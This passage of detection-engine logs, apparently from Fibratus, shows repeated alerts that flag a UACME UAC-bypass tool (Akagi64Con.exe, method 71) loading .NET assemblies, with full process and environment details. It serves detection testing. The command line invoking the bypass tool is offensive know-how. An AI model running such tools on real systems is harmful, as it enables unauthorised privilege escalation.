PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675096 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2194701 +0100 CET + Params: base_address➜ 7ffb3ffc0000, checksum➜ 0, default_address➜ 7ffb3ffc0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675096 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2194701 +0100 CET + Params: base_address➜ 7ffb3ffc0000, checksum➜ 0, default_address➜ 7ffb3ffc0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675109 + Pid: 11932 + Tid: 1776 + Type: 